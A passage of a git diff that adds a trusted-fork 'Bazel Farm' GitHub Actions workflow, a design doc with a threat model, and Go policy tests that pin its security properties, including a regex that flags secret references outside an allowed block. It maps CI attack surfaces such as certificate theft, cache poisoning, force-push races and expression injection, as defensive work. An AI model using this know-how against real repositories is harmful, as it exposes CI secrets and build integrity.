default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} - name: Set up Bazel id: bazel @@ -684,7 +751,14 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} - name: Set up Bazel id: bazel @@ -758,7 +832,14 @@ jobs: env: BAZEL_DOLT_LANE: ${{ inputs.dolt-lane || 'doltserver' }} steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} - name: Set up Bazel id: bazel @@ -829,7 +910,14 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} - name: Set up Bazel id: bazel @@ -903,7 +991,14 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} - name: Set up Bazel id: bazel diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index ef55834dc..9631fce50 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -69,6 +69,12 @@ Current PR-related workflow names: `RBE_WEST_WORKERS` repo variable: same-repo runs then take mode `skip`, which the gate accepts (fork PRs still run locally, so drift on `main` still reaches them). +- `.github/workflows/bazel-farm.yml`: `Bazel Farm (trusted forks)` + Runs on `pull_request_target` for fork PRs to `main` whose author and + triggering user are on `.github/bazel-farm-allowlist.txt`, and calls + `bazel.yml` with the RBE secrets and the PR's pinned head SHA. Advisory: + no ruleset requires it and nothing reads its results; see + [Trusted-Author Fork PRs](#trusted-author-fork-prs-bazel-farm). - `.github/workflows/pr-risk.yml`: `PR Risk` Runs on `pull_request` and `merge_group`. Contains embedded Dolt risk detection, embedded build/test shards, the Nix flake smoke check, and the @@ -106,6 +112,289 @@ workflows reported the same check name. Organization admins and one team may bypass it. There is no merge queue, so the checks run on `pull_request`. +## Trusted-Author Fork PRs (Bazel Farm) + +Fork PRs get no Actions secrets, so `pr.yml`'s Bazel call runs them in mode +`local` (no remote-only lanes, slower). `bazel-farm.yml` gives the +remote-execution farm to fork PRs from an allowlist of trusted authors +(`.github/bazel-farm-allowlist.txt`: the numeric user ids of the same four +people as gascity's `.github/blacksmith-allowlist.txt`). Everyone else's +fork PRs are unchanged. + +### Design + +- Trigger: `pull_request_target`, types `opened` and `synchronize`, base + branch `main`. There is no `reopened` or `ready_for_review`: those + re-test a head that no listed user necessarily pushed (see "Sender vs. + author" below). Drafts run on `opened` and `synchronize` anyway. + `pull_request_target` runs the + workflow file from the base branch, and `uses: ./.github/workflows/bazel.yml` + resolves from that same commit, so a PR cannot change either for its own + run. +- `authorize` job: no secrets and no PR code. It sparse-checks-out only the + allowlist and `.github/scripts/bazel-farm-authorize.sh` at `github.sha` + (the base commit the workflow came from), without persisted credentials. + Event facts reach the script through `env` only. It allows the run only + when all of these hold: + - the event is `pull_request_target` with action `opened` or + `synchronize`; + - the base repository is this one and the head repository is another (a + fork); + - the head repository's owner is the PR author (numeric ids), so the PR + comes from the author's own fork; + - the base ref is the default branch; + - the head SHA is a full 40-hex id; + - both `pull_request.user.id` (the author) and `sender.id` (who triggered + the event: the opener, or the pusher on `synchronize`) are on the list. + The list holds numeric user ids, with logins only as comments. A + renamed account's old login can be registered by anyone, but an id + never changes hands. Look one up with `gh api users/ --jq .id`. +- `farm` job: calls `bazel.yml` only when `authorize` allowed it, with + `contents: read`, exactly the four RBE secrets, `checkout-sha` = + `github.event.pull_request.head.sha`, `fork-farm: authorized`, and + `integration: "off"`. `bazel.yml` checks out that SHA in every lane with + `persist-credentials: false`. actions/checkout v7 refuses to check out a + fork PR's head on `pull_request_target` unless `allow-unsafe-pr-checkout` + is true. Each lane sets that input to + `inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target'`, + so only the authorized farm call opts in (policy-tested: never a literal + `true`, and nowhere else). Its `rbe` job runs a fork remotely only when + `inputs.fork-farm == 'authorized'`, the event is `pull_request_target`, and + `checkout-sha` is set. An authorized farm run is `remote` or `skip` (farm + switch off or secret missing), never `local`, because `pr.yml` already + runs the local lanes. +- Concurrency: one farm run per PR (`bazel-farm-`), and a newer + event cancels the running one. This includes an event from an unlisted + sender, which then runs nothing. The run it cancels tested an older head + anyway. +- Gate: advisory. `pr.yml` is unchanged. Every fork PR, listed or not, still + runs the local Bazel lanes inside the enforced `CI Gate / Required`, and + the farm run adds a faster signal that also covers the remote-only + embedded, proxied-server and server-storage tiers. +- Policy tests: `scripts/bazel_farm_workflow_test.go` pins the trigger, + both jobs' conditions, the allowlist source, the pinned checkout, the + permissions, where secrets appear, and that no expression is interpolated + into a script. It also pins concurrency, the allowlist contents, the + authorize script's decisions, and that no privileged workflow consumes a + farm run. `TestBazelLaneIsGatedAlongsideLegacy` allows + `pull_request_target` on a `bazel.yml` caller for this file only. + +### Gate Options Considered + +1. Advisory farm run, with `pr.yml` unchanged (chosen). Nothing the farm run + produces can make a PR mergeable, so a flaw in it cannot weaken the + enforced gate. Cost: listed authors' fork PRs run Bazel twice (local in + `pr.yml`, remote here), and the merge still waits on the slower local + lanes. +2. Authoritative farm run: `pr.yml` skips local Bazel for listed forks, and + the ruleset requires a farm check. Rejected for now: + - For fork PRs, `pull_request` runs the fork's own copy of `pr.yml`, so + any "listed fork, skip local Bazel" decision there is PR-controlled. + - `CI Gate / Required` cannot read another workflow's jobs. + - Rulesets cannot require a check conditionally, so the farm check would + have to exist on every PR. A skipped job reports success, so it would + pass for everyone who is not listed, and a fork that edited `pr.yml` + to skip local Bazel would then merge with no Bazel signal. + + Doing this safely needs a trusted reporter: a `pull_request_target` job + that runs no PR code and writes one required check run on the head SHA + after reading both workflows' results. It is the same reporter + [Commit-Message Skip Directives](#commit-message-skip-directives) + describes. +3. Standalone copy of the lanes instead of calling `bazel.yml`. Rejected: + the copy would drift, and calling `bazel.yml` keeps every lane test + applicable. + +The farm run checks out the pinned head SHA, not `refs/pull/N/merge`. The +merge ref is mutable, so checking it out would leave a gap between +authorizing the run and checking out the code (TOCTOU). Cost: the farm run +tests the head, not the head merged into `main`. `pr.yml`'s local run still +tests the merge commit. + +### Threat Model + +Assets: the RBE client certificate and key (farm access and farm cache +writes), the repository's Actions cache (read by `push` runs on `main`), the +`GITHUB_TOKEN`, and the integrity of the required gates. + +What a listed author's fork PR can do: what a same-repo PR can do. Its code +(`setup-bazel`, `.bazelrc`, repository rules, tests) runs with the RBE +certificate, so it can use or copy the certificate and write to the farm's +cache. Maintainers accepted this risk for same-repo PRs on 2026-09-28 (see +`bazel.yml`'s header). Listing a user extends that trust to the account, +and an account compromise has the same effect as a compromised same-repo +contributor. + +Caches, the one place a `pull_request_target` run differs from a same-repo +PR. It runs in the default branch's cache scope, which `push` runs on +`main` restore from. Same-repo PRs use `refs/pull/N/merge`. + +- GitHub's Actions cache: read-only. Since 2026-06-26 GitHub gives + untrusted triggers, `pull_request_target` included, a read-only cache + token for the default branch's scope, and the cache service enforces it. + `cache-mode` (2026-09-10) makes `read` the default for these events and + carries through reusable workflows. A declared `cache-mode: write` or + `write-only` would override that default, so a policy test allows only + `read` or `none` in `bazel-farm.yml`, `bazel.yml` and `setup-bazel`. The + farm's safety depends on that default and on nothing declaring otherwise. +- Blacksmith's colocated cache: unknown. Farm lanes run on + `blacksmith-2vcpu-ubuntu-2404`, whose cache transparently backs + `actions/cache`, scoped by branch like GitHub's. Nothing documents whether + it honours the read-only token. The canary run in the rollout notes + (`~/beads-bazel-plan/vip-forks-design.md`) or an answer from Blacksmith + settles it. Record the answer here. +- What a writable cache would reach, and what now stops it. The `bazel.yml` + lanes on `main` and on same-repo PRs, which fall back to `main`'s scope, + restore two caches: + - The Bazel runner cache (`bazel-repo-v3-*`, restore-keys prefix). It now + holds only the content-addressable `--repository_cache`, whose hits + Bazel re-hashes. The Bazel binary is not cached: `setup-bazel` + downloads it into a fresh Bazelisk home with `BAZELISK_VERIFY_SHA256` + and checks it against a sha256 pinned for `.bazelversion`. The repo + contents cache (extracted repos, never re-verified) is off + (`--repo_contents_cache=`). + - The Go module cache (`beads-go-mod-v2-*`). `bazel-test` runs + `go mod verify` right after restoring it. + + Outside the farm's path, other workflows restore caches that a writable + default-branch scope would poison: + - `release.yml`'s `setup-go` default cache (GOMODCACHE and GOCACHE, with a + key predictable from `go.sum`, in a job that signs and attests + binaries); + - the `beads-go-build-v2-*` GOCACHE entries restored by `main.yml` and + `pr.yml`; + - the executables in `smoke-binaries-*`, `historical-dolt-*` and + `regression-baseline-*`. + + GitHub's read-only default covers all of them. Hardening `release.yml` + with `cache: false` is tracked separately. + +What anyone else can do: nothing new. + +- An unlisted author's fork PR triggers a run whose `authorize` job reads + the base allowlist and says no. `farm` is skipped, and no secret or PR + code is involved. +- Fork `pull_request` runs still get no secrets, and `bazel.yml` keeps them + local even if the fork's `pr.yml` passes `fork-farm`, because the event is + not `pull_request_target`. + +Attacks considered: + +- Allowlist spoofing through PR edits. The allowlist and the decision + script come from `github.sha` (base) in a sparse checkout that never + contains PR files. A PR that edits them changes nothing until a + maintainer merges it. +- Workflow-file edits in the PR. `pull_request_target` runs the base + branch's `bazel-farm.yml`, and `./.github/workflows/bazel.yml` resolves + from the same base commit. `setup-bazel` and everything after the + checkout are PR code. That is the accepted listed-author trust, the same + as for same-repo PRs. +- Sender vs. author. Both must be listed. + - A collaborator on a listed author's fork who pushes gets + `sender = collaborator`, and nothing runs. + - Someone who opens a PR from a listed author's fork branch gets + `author = opener`, and nothing runs. + - A listed author who opens a PR from someone else's fork (compare + across forks) gets nothing: the head repository's owner must be the + author. Otherwise the fork's owner could push between the author's + review and "Create". + - A collaborator on a listed author's fork who pushes while the PR is + closed or a draft (skipped: `sender = collaborator`) cannot get that + head run by the author's click on "Reopen" or "Ready for review", + because those actions are not triggers. + - What remains is the listed author's responsibility: a PR opened, or a + push made, by the author on top of commits a fork collaborator pushed. + Listed authors should not add collaborators to their fork. + - A listed author who pushes to an unlisted author's PR also gets nothing + (the author check). + - An upstream maintainer who pushes to the PR, or clicks "Update branch", + is not listed either, so nothing runs. The next push by the author runs + it. + - Commit author/committer metadata is not checked: anyone can forge it. + - A listed author who pushes commits written by others vouches for them, + as a same-repo contributor does. +- Force-push races (TOCTOU). The lanes check out + `github.event.pull_request.head.sha`, the commit the authorized event + describes, never a branch or merge ref. A later push is a new + `synchronize` event whose sender is judged again, and it cancels the + older run. A SHA that is not 40 lowercase hex characters is refused. +- Script and expression injection. No `${{ }}` appears in any `run:` of + `bazel-farm.yml` or `bazel.yml` (policy-tested). Titles, branch names and + logins reach scripts only through `env`. The authorize script prints a + login only after checking it against GitHub's login character set. +- Label and comment injection. There is no `labeled`, `issue_comment` or + `edited` trigger, and no label or comment is read. +- Token and permissions. The workflow and every job have `contents: read` + only. Checkouts do not persist the token. `secrets: inherit` is never + used: exactly the four RBE secrets reach `bazel.yml`, and there only the + `setup-bazel` step's env reads them (plus the `rbe` job's emptiness test). +- Artifact poisoning. + - `bazel.yml` does not upload `bazel-sync-patch` on `pull_request_target`. + - `bazel-autofix.yml` and `docs-autofix.yml`, the only `workflow_run` + consumers, watch only `PR` and act only on `pull_request` runs. + - Nothing downloads artifacts by run id. + - The farm run's other artifacts (test logs, `bazel-farm-build-artifacts`) + are for humans only. + + All of this is policy-tested. +- Farm cache poisoning. The farm's action cache is shared the same way + same-repo PRs share it, and client uploads of local results are off + (`--noremote_upload_local_results`). A beads-only RBE instance and + farm-side denial of client action-cache writes are still open. + +### Re-runs, Adding and Removing a User + +A re-run of a farm run (whole run or failed jobs) replays the original +event. It keeps the original `GITHUB_SHA` and payload, so: + +- It checks out the same pinned head SHA. A re-run never picks up a newer + push; only a new `opened` or `synchronize` event does. +- It runs the original base commit's `bazel-farm.yml`, `bazel.yml`, + allowlist and authorize script. A user removed from the allowlist on + `main` still passes `authorize` when one of their old runs is re-run, + and that run gets the RBE secrets again. + +Only users with write access can re-run, so this is a small window, but +removal has to close it. + +To add a user: add ` # ` to the allowlist (id from +`gh api users/ --jq .id`) and update `bazelFarmUsers` in +`scripts/bazel_farm_workflow_test.go` in the same PR. It takes effect when +the PR merges. + +To remove a user: + +1. Merge a PR that deletes their line from the allowlist and from + `bazelFarmUsers`. +2. Cancel their in-progress farm runs, and delete their earlier farm runs + so that nobody can re-run them: + + ```bash + # Runs whose head repository (the author's own fork) belongs to . + gh api --paginate repos/gastownhall/beads/actions/workflows/bazel-farm.yml/runs \ + --jq '.workflow_runs[] | select(.head_repository.owner.id == ) | "\(.id) \(.status)"' + gh run cancel # in-progress runs + gh run delete # completed runs + ``` +3. If the removal is for cause (a compromised account, or suspected misuse + of the certificate), assume the RBE client certificate was copied: + - rotate `RBE_TLS_CERT` / `RBE_TLS_KEY`; + - have the farm revoke the old certificate; + - consider purging the farm's action cache for the beads instance. + + Rotating also closes the re-run window without step 2. + +Only a GitHub run can verify these: + +- The farm run's check runs appear on the PR. +- The Blacksmith runner group accepts `pull_request_target` jobs for fork + PRs. +- `actions/checkout` fetches a fork's head SHA from the base repository, and + the `allow-unsafe-pr-checkout` opt-in gets past v7's fork-checkout guard + (the lanes fail with "Refusing to check out fork pull request code" if + it doesn't). +- An unlisted author, or a push by an unlisted collaborator, skips `farm`. + ## Required Check Contract After the aggregate checks are verified on the branch, branch protection or the @@ -144,6 +433,7 @@ Do not require these existing check names directly: - `Resolve versions to test` - `nix build .#default` - `Bazel / test` and the other jobs of `bazel.yml` +- `Bazel Farm / *` (`bazel-farm.yml`'s advisory, PR-controlled results) Those checks should remain visible for diagnosis, but branch protection should point at aggregate gates after the gate jobs are verified. diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 65b61a8fb..4e63e64f1 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -18,6 +18,7 @@ go_test( name = "scripts_test", srcs = [ "bazel_autofix_push_test.go", + "bazel_farm_workflow_test.go", "bazel_policy_test.go", "check_build_tags_test.go", "check_doc_freshness_test.go", diff --git a/scripts/bazel_farm_workflow_test.go b/scripts/bazel_farm_workflow_test.go new file mode 100644 index 000000000..cac18fa1a --- /dev/null +++ b/scripts/bazel_farm_workflow_test.go @@ -0,0 +1,680 @@ +package scripts_test + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "reflect" + "regexp" + "sort" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// bazel-farm.yml: the one pull_request_target caller of bazel.yml. It gives +// the RBE secrets to fork PRs whose author and triggering user are on the +// base branch's allowlist (engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted- +// author fork PRs"). Every property below is load-bearing for that trust +// boundary; relaxing one is a security decision, not a refactor. +const ( + bazelFarmWorkflowName = "bazel-farm.yml" + bazelFarmWorkflowTitle = "Bazel Farm (trusted forks)" + bazelFarmAllowlist = ".github/bazel-farm-allowlist.txt" + bazelFarmAuthorize = ".github/scripts/bazel-farm-authorize.sh" + + // bazel.yml's rbe job: a fork runs remotely only for this caller's + // authorized pull_request_target call with a pinned checkout. + bazelForkFarmValue = "${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' && inputs.checkout-sha != '' }}" + // Every bazel.yml checkout: the caller's pinned SHA (empty: the event's + // default ref) and no token in .git/config. + bazelCheckoutRef = "${{ inputs.checkout-sha }}" + // actions/checkout v7 refuses a fork PR head on pull_request_target + // unless allow-unsafe-pr-checkout is true. Only the authorized farm call + // may opt in; every other run evaluates this to false. + bazelAllowUnsafeCheckout = "${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }}" +) + +// The users on the allowlist, numeric id -> login (gh api users/ +// --jq .id), the same people as gascity's .github/blacksmith-allowlist.txt. +// A change here is a trust decision. +var bazelFarmUsers = map[string]string{ + "8082291": "julianknutsen", + "91582": "quad341", + "36544495": "sjarmak", + "2568253": "csells", +} + +func TestBazelFarmWorkflowSecurity(t *testing.T) { + rel := filepath.Join(".github", "workflows", bazelFarmWorkflowName) + root := readYAMLNode(t, rel) + raw := readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelFarmWorkflowName) + + var doc struct { + Name string `yaml:"name"` + On map[string]struct { + Types []string `yaml:"types"` + Branches []string `yaml:"branches"` + } `yaml:"on"` + Concurrency struct { + Group string `yaml:"group"` + CancelInProgress any `yaml:"cancel-in-progress"` + } `yaml:"concurrency"` + Permissions any `yaml:"permissions"` + Env map[string]string `yaml:"env"` + } + if err := yaml.Unmarshal([]byte(raw), &doc); err != nil { + t.Fatal(err) + } + if doc.Name != bazelFarmWorkflowTitle { + t.Errorf("name = %q, want %q (bazel-autofix.yml and docs-autofix.yml must never list it)", doc.Name, bazelFarmWorkflowTitle) + } + + // Trigger: pull_request_target only (the base branch's copy of this + // file and of bazel.yml runs), the four PR-code-changing actions, main. + if got := yamlMapKeys(root, "on"); !reflect.DeepEqual(got, []string{"pull_request_target"}) { + t.Errorf("triggers = %v, want exactly [pull_request_target]", got) + } + prt := doc.On["pull_request_target"] + if want := []string{"opened", "synchronize"}; !reflect.DeepEqual(prt.Types, want) { + t.Errorf("pull_request_target types = %v, want %v (no reopened/ready_for_review: they re-test a head no listed user necessarily pushed; no labeled/edited/comment-driven runs)", prt.Types, want) + } + if !reflect.DeepEqual(prt.Branches, []string{"main"}) { + t.Errorf("pull_request_target branches = %v, want [main]", prt.Branches) + } + + // One run per PR, superseded by the next event. + if doc.Concurrency.Group != "bazel-farm-${{ github.event.pull_request.number }}" || doc.Concurrency.CancelInProgress != true { + t.Errorf("concurrency = %+v; want group bazel-farm-, cancel-in-progress true", doc.Concurrency) + } + if len(doc.Env) != 0 { + t.Errorf("workflow env = %v; want none (nothing workflow-wide reaches PR code)", doc.Env) + } + + // Permissions: contents: read at the workflow and on every job, and + // nothing else anywhere in the file. + readOnly := map[string]any{"contents": "read"} + if !reflect.DeepEqual(doc.Permissions, readOnly) { + t.Errorf("workflow permissions = %v, want %v", doc.Permissions, readOnly) + } + workflow := readCIWorkflow(t, bazelFarmWorkflowName) + var jobs []string + for name, job := range workflow.Jobs { + jobs = append(jobs, name) + if !reflect.DeepEqual(job.Permissions, readOnly) { + t.Errorf("job %s permissions = %v, want %v", name, job.Permissions, readOnly) + } + if len(job.Env) != 0 { + t.Errorf("job %s env = %v; want none", name, job.Env) + } + } + sort.Strings(jobs) + if !reflect.DeepEqual(jobs, []string{"authorize", "farm"}) { + t.Fatalf("jobs = %v, want [authorize farm]", jobs) + } + secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) + walkYAML(root, "", func(path string, key bool, value string) { + if strings.Contains(path, "permissions") && !key && value != "read" { + t.Errorf("%s = %q; only read permissions are allowed", path, value) + } + if key && value == "continue-on-error" { + t.Errorf("%s hides a failure", path) + } + if !key && value == "inherit" { + t.Errorf("%s: secrets: inherit; pass the four RBE secrets explicitly", path) + } + // Secrets only in the farm call's secrets block. + if !key && secretRef.MatchString(value) && !strings.HasPrefix(path, ".jobs.farm.secrets.") { + t.Errorf("%s reads secrets (%q); only .jobs.farm.secrets may", path, value) + } + // No expression in any script: event data (branch names, titles, + // logins) reaches scripts through env only. + if !key && strings.HasSuffix(path, ".run") && strings.Contains(value, "${{") { + t.Errorf("%s interpolates an expression into a script: %q", path, value) + } + }) + + // authorize: no PR code, no secrets, the base commit's allowlist. + auth := workflow.job(t, "authorize") + const wantAuthIf = "github.event.pull_request.base.repo.full_name == github.repository && " + + "github.event.pull_request.head.repo.full_name != github.repository" + if auth.If != wantAuthIf || auth.RunsOn != "ubuntu-latest" || len(auth.Needs) != 0 { + t.Errorf("authorize if=%q runs-on=%q needs=%v; want the fork prefilter %q on ubuntu-latest", auth.If, auth.RunsOn, auth.Needs, wantAuthIf) + } + if auth.TimeoutMinutes <= 0 || auth.TimeoutMinutes > 10 { + t.Errorf("authorize timeout-minutes = %d, want 1..10", auth.TimeoutMinutes) + } + if want := map[string]string{"allowed": "${{ steps.decide.outputs.allowed }}"}; !reflect.DeepEqual(auth.Outputs, want) { + t.Errorf("authorize outputs = %v, want %v", auth.Outputs, want) + } + if len(auth.Steps) != 2 { + t.Fatalf("authorize has %d steps, want the base checkout and the decision", len(auth.Steps)) + } + checkout := auth.Steps[0] + if checkout.Uses != "actions/checkout@"+checkoutSHA { + t.Errorf("authorize checkout uses %q, want actions/checkout@%s", checkout.Uses, checkoutSHA) + } + wantCheckout := map[string]string{ + "ref": "${{ github.sha }}", + "persist-credentials": "false", + "sparse-checkout": bazelFarmAllowlist + "\n" + bazelFarmAuthorize + "\n", + "sparse-checkout-cone-mode": "false", + } + if !reflect.DeepEqual(checkout.With, wantCheckout) { + t.Errorf("authorize checkout with = %q; want %q (the run's own base commit, never a PR ref)", checkout.With, wantCheckout) + } + decide := auth.Steps[1] + wantEnv := map[string]string{ + "ALLOWLIST": bazelFarmAllowlist, + "EVENT_NAME": "${{ github.event_name }}", + "ACTION": "${{ github.event.action }}", + "REPOSITORY": "${{ github.repository }}", + "BASE_REPO": "${{ github.event.pull_request.base.repo.full_name }}", + "HEAD_REPO": "${{ github.event.pull_request.head.repo.full_name }}", + "HEAD_OWNER_ID": "${{ github.event.pull_request.head.repo.owner.id }}", + "BASE_REF": "${{ github.event.pull_request.base.ref }}", + "DEFAULT_BRANCH": "${{ github.event.repository.default_branch }}", + "HEAD_SHA": "${{ github.event.pull_request.head.sha }}", + "PR_AUTHOR": "${{ github.event.pull_request.user.login }}", + "PR_AUTHOR_ID": "${{ github.event.pull_request.user.id }}", + "SENDER": "${{ github.event.sender.login }}", + "SENDER_ID": "${{ github.event.sender.id }}", + } + if decide.ID != "decide" || decide.Uses != "" || decide.Run != "bash "+bazelFarmAuthorize || !reflect.DeepEqual(decide.Env, wantEnv) { + t.Errorf("authorize decision step id=%q uses=%q run=%q env=%v; want id decide running %s with env %v", + decide.ID, decide.Uses, decide.Run, decide.Env, bazelFarmAuthorize, wantEnv) + } + + // farm: bazel.yml from the same base commit, only when authorized, with + // the four RBE secrets and the event's pinned head SHA. + farm := workflow.job(t, "farm") + if farm.Uses != "./.github/workflows/"+bazelWorkflowName || !reflect.DeepEqual([]string(farm.Needs), []string{"authorize"}) || + farm.If != "${{ needs.authorize.outputs.allowed == 'true' }}" || farm.RunsOn != "" || len(farm.Steps) != 0 { + t.Errorf("farm uses=%q needs=%v if=%q; want a call of ./.github/workflows/%s needing authorize, if allowed == 'true'", + farm.Uses, farm.Needs, farm.If, bazelWorkflowName) + } + // Check runs are " / ": the farm's PR-controlled + // results must never share a name with pr.yml's Bazel call. + if farm.Name != "Bazel Farm" { + t.Errorf("farm job name = %q, want %q", farm.Name, "Bazel Farm") + } + if prName := readCIWorkflow(t, "pr.yml").job(t, "bazel").Name; strings.EqualFold(farm.Name, prName) || farm.Name == "" { + t.Errorf("farm job name %q collides with pr.yml's bazel job %q", farm.Name, prName) + } + gotSecrets := map[string]string{} + if m, ok := farm.Secrets.(map[string]any); ok { + for k, v := range m { + gotSecrets[k] = fmt.Sprint(v) + } + } + if !reflect.DeepEqual(gotSecrets, bazelCallSecrets) { + t.Errorf("farm secrets = %v, want exactly %v", farm.Secrets, bazelCallSecrets) + } + wantWith := map[string]string{ + "checkout-sha": "${{ github.event.pull_request.head.sha }}", + "fork-farm": "authorized", + "integration": "off", + "build-artifact-name": "bazel-farm-build-artifacts", + } + if !reflect.DeepEqual(farm.With, wantWith) { + t.Errorf("farm with = %v, want exactly %v", farm.With, wantWith) + } +} + +// bazel.yml's side of the farm: the pinned checkout, the one decision input, +// and nothing a pull_request_target run could hand a privileged consumer. +func TestBazelWorkflowForkFarmInputs(t *testing.T) { + call := readBazelWorkflowCall(t) + for name, want := range map[string]string{"checkout-sha": "", "fork-farm": "off"} { + if in, ok := call.Inputs[name]; !ok || in.Type != "string" || in.Default != want { + t.Errorf("workflow_call input %s = %+v, want type string, default %q", name, in, want) + } + } + workflow := readCIWorkflow(t, bazelWorkflowName) + checkouts := 0 + for name, job := range workflow.Jobs { + for _, step := range job.Steps { + if strings.Contains(step.Run, "${{") { + t.Errorf("%s job %s step %q interpolates an expression into its script", bazelWorkflowName, name, step.Name) + } + if actionFamily(step.Uses) != "actions/checkout" { + continue + } + checkouts++ + want := map[string]string{"ref": bazelCheckoutRef, "persist-credentials": "false", "allow-unsafe-pr-checkout": bazelAllowUnsafeCheckout} + if !reflect.DeepEqual(step.With, want) { + t.Errorf("%s job %s checkout with = %v, want %v", bazelWorkflowName, name, step.With, want) + } + } + } + if checkouts != len(workflow.Jobs)-1 { + t.Errorf("%d checkouts in %s, want one per lane (%d)", checkouts, bazelWorkflowName, len(workflow.Jobs)-1) + } + if got := workflow.job(t, bazelRBEJobName).Steps[0].Env["FORK_FARM"]; got != bazelForkFarmValue { + t.Errorf("rbe FORK_FARM = %q, want %q", got, bazelForkFarmValue) + } + // inputs.checkout-sha: only the checkouts' ref and FORK_FARM. + walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", bazelWorkflowName)), "", func(path string, key bool, value string) { + if key || !strings.Contains(value, "inputs.checkout-sha") { + return + } + if value == bazelCheckoutRef && strings.HasSuffix(path, ".with.ref") { + return + } + if value == bazelForkFarmValue && path == ".jobs."+bazelRBEJobName+".steps[0].env.FORK_FARM" { + return + } + t.Errorf("%s: %s uses inputs.checkout-sha (%q); only checkout refs and FORK_FARM may", bazelWorkflowName, path, value) + }) + var conc struct { + Concurrency struct { + CancelInProgress string `yaml:"cancel-in-progress"` + } `yaml:"concurrency"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName)), &conc); err != nil { + t.Fatal(err) + } + if want := "${{ github.event_name == 'pull_request' || github.event_name == 'pull_request_target' }}"; conc.Concurrency.CancelInProgress != want { + t.Errorf("%s cancel-in-progress = %q, want %q", bazelWorkflowName, conc.Concurrency.CancelInProgress, want) + } + + // allow-unsafe-pr-checkout: nowhere but bazel.yml's lane checkouts, and + // there only as the gated expression (never a literal true). + optIns := 0 + for _, entry := range mustReadWorkflowDir(t) { + walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", entry)), "", func(path string, key bool, value string) { + if !key || value != "allow-unsafe-pr-checkout" { + return + } + optIns++ + if entry != bazelWorkflowName || !strings.HasSuffix(path, ".with.allow-unsafe-pr-checkout") { + t.Errorf("%s: %s opts into checking out fork PR code; only bazel.yml's lane checkouts may", entry, path) + } + }) + } + if optIns != checkouts { + t.Errorf("%d allow-unsafe-pr-checkout keys, want one per bazel.yml lane checkout (%d)", optIns, checkouts) + } + + // Only bazel-farm.yml passes the farm inputs (pr.yml's call is pinned by + // bazelPRCallWith; nightly.yml's here). + entries, err := os.ReadDir(filepath.Join(sourceRepoRoot(t), ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".yml") || entry.Name() == bazelFarmWorkflowName { + continue + } + for jobName, job := range readCIWorkflow(t, entry.Name()).Jobs { + for _, in := range []string{"checkout-sha", "fork-farm"} { + if _, ok := job.With[in]; ok { + t.Errorf("%s job %s passes %s; only %s may", entry.Name(), jobName, in, bazelFarmWorkflowName) + } + } + } + } +} + +// No privileged workflow consumes anything from a farm run: every +// workflow_run consumer watches only "PR" and acts only on pull_request +// runs, and nothing downloads another run's artifacts by run id. +func TestBazelFarmArtifactsHaveNoPrivilegedConsumer(t *testing.T) { + entries, err := os.ReadDir(filepath.Join(sourceRepoRoot(t), ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + consumers := 0 + for _, entry 